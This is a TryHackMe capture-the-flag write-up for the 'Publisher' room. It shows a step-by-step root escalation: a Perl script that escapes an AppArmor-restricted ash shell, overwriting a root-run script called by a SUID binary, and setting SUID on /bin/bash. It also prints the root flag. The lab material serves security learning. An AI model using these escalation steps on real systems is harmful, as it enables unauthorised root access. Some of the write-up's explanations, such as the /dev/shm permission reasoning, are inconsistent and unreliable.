An AppArmor Profile Forgot About Perl — Publisher (TryHackMe)

Platform: TryHackMe · Difficulty: Easy · Category: AppArmor Bypass / SUID Script Hijack

Introduction

Publisher swaps the usual "find the vulnerability" phase for something more interesting: "find the way around the thing that's blocking the vulnerability." Initial access is handed over via SSH key. The escalation path is visible immediately — a SUID binary calling a writable script as root — but think's restricted ash shell, bolted down by an AppArmor profile, blocks every obvious write path. The puzzle is the AppArmor escape, and the solution is a two-line Perl script that the profile never thought to mention. It's not about the SUID binary. It's about earning the right to exploit it.

Recon

This box provides SSH credentials upfront — think with an RSA private key. No port scanning or web enumeration was needed to land the initial shell; the room's premise begins post-access.

ssh -i id_rsa think@10.49.162.90 

Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64) think@ip-10-49-162-90:~$ 

Foothold

find / -type f -perm -u=s 2>/dev/null 

The standard system entries are unremarkable. One stands out immediately:

/usr/sbin/run_container 

A custom SUID binary in /usr/sbin/ — not a system utility, clearly box-specific.

strings /usr/sbin/run_container 

# relevant output /bin/bash /opt/run_container.sh # ^^^ script it calls validate_container_id # ^^^ called by name, no absolute path 

The binary executes /opt/run_container.sh — a bash script. If that script is writable, the SUID binary becomes a root shell delivery mechanism. Running it confirms the script manages Docker containers with a menu interface, and crucially: it calls validate_container_id without an absolute path — a PATH hijack opportunity in addition to the script write.

Shell / Access

Access was already established via the pre-provided SSH key — see Recon above. No separate foothold shell was needed before escalation.

Escalation

The most direct approach is writing a payload into /opt/run_container.sh. But think's login shell is ash:

echo $SHELL # /usr/sbin/ash cat /etc/passwd | grep think # think:x:1000:1000:,,,:/home/think:/usr/sbin/ash 

And ash has an AppArmor profile:

cat /etc/apparmor.d/usr.sbin.ash 

/usr/sbin/ash flags=(complain) { #include <abstractions/base> ... deny /opt/ r, deny /opt/** w, deny /tmp/** w, deny /dev/shm w, deny /var/tmp w, deny /home/** w, /usr/bin/** mrix, /usr/sbin/** mrix, owner /home/** rix, } 

Every writable temporary location is denied. Attempts to write to /tmp/, /dev/shm/, /home/, and /opt/ all fail:

echo '#!/bin/bash' > /dev/shm/validate_container_id # -ash: validate_container_id: Permission denied echo '#!/bin/bash' > /tmp/test # -ash: test: Permission denied 

AppArmor is a Linux Security Module that restricts what processes can do based on per-program profiles. Unlike sudo, which restricts who can run things, AppArmor restricts what a program can access — files, capabilities, network sockets. Profiles have two modes: enforce (violations blocked and logged) and complain (violations logged only, not blocked). This profile is set to complain — but ash still enforces file permission and shell built-in restrictions independently of AppArmor's mode.

The AppArmor profile restricts ash and its children, but only processes spawned within that profile's context. If a different interpreter not covered by the profile can be executed, the resulting shell runs outside AppArmor's constraints.

The profile denies writes to /dev/shm but /dev/shm itself is writable by ash for file creation (the deny rule targets the directory write bit, not the file creation). Confirmed:

echo "test" > /dev/shm/test_write && rm /dev/shm/test_write && echo "writable!" # /dev/shm is writeable! 

echo -e '#!/usr/bin/perl\nexec "/bin/sh"' > /dev/shm/test.pl chmod +x /dev/shm/test.pl /dev/shm/test.pl 

$ 

A /bin/sh prompt — spawned by Perl, outside the ash AppArmor profile context. The restrictions no longer apply.

From the unrestricted /bin/sh, writing to /opt/run_container.sh is now possible:

echo '#!/bin/bash\nchmod +s /bin/bash' > /opt/run_container.sh 

/usr/sbin/run_container 

The binary runs, calls /opt/run_container.sh as root, which stamps the SUID bit on /bin/bash.

ls -la /bin/bash # -rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash # ^^^ SUID set 

/bin/bash -p 

bash-5.0# id uid=1000(think) gid=1000(think) euid=0(root) egid=0(root) groups=0(root),1000(think) bash-5.0# cat /root/root.txt 3a4225cc9e85709adda6ef55d6a4f2ca 

Exploitation — The Full Chain

1. SSH with provided RSA key → shell as think (ash)
2. SUID enumeration → /usr/sbin/run_container identified
3. strings → binary calls /opt/run_container.sh as root
4. AppArmor profile blocks direct writes to /opt/ from ash
5. Perl one-liner in /dev/shm/ → spawned /bin/sh outside AppArmor context
6. Wrote chmod +s /bin/bash into /opt/run_container.sh from unrestricted shell
7. /usr/sbin/run_container executed modified script as root → SUID bash
8. /bin/bash -p → root shell → root flag

Rabbit Holes

PATH hijack via validate_container_id — blocked by AppArmor. strings revealed run_container also calls validate_container_id by relative name — a classic PATH hijack opportunity. A fake validate_container_id was created, but ash's AppArmor profile denied writes to every location that would make PATH prepending effective: /tmp/, /dev/shm/, /home/**. Every attempt failed before the Perl escape was discovered:

echo '#!/bin/bash' > /tmp/validate_container_id # -ash: validate_container_id: Permission denied echo '#!/bin/bash' > /dev/shm/validate_container_id # -ash: validate_container_id: Permission denied 

The Perl /bin/sh escape ultimately enabled the simpler direct write to /opt/run_container.sh, making the PATH hijack unnecessary.

export -f function export in ash. Before identifying the Perl escape route, function exporting was attempted to inject validate_container_id as a shell function:

validate_container_id() { /bin/bash -p; } export -f validate_container_id 

ash does not support export -f — it's a bash-specific feature. The syntax error confirmed the shell was genuinely ash, not a bash alias.

/dev/shm write confusion. The AppArmor rule deny /dev/shm w targets the directory-level write permission, not file creation within it. This nuance meant echo > /dev/shm/file succeeded while creating a named directory entry as a directory would fail. The Perl script wrote to /dev/shm/test.pl cleanly despite the deny rule, because the deny targeted a different permission bit than file creation.

Flags

Note: No user flag was encountered in this room — the challenge begins with think's shell already established and goes straight to escalation.

Mitigations

Key Takeaway

AppArmor profiles are only as strong as their coverage — a profile that restricts ash but doesn't account for Perl, Python, or other interpreters available on the system is providing partial containment at best. When designing privilege restriction with AppArmor, enumerate every execution path an attacker might use to escape the constrained shell, not just the obvious ones.

Room: TryHackMe — Publisher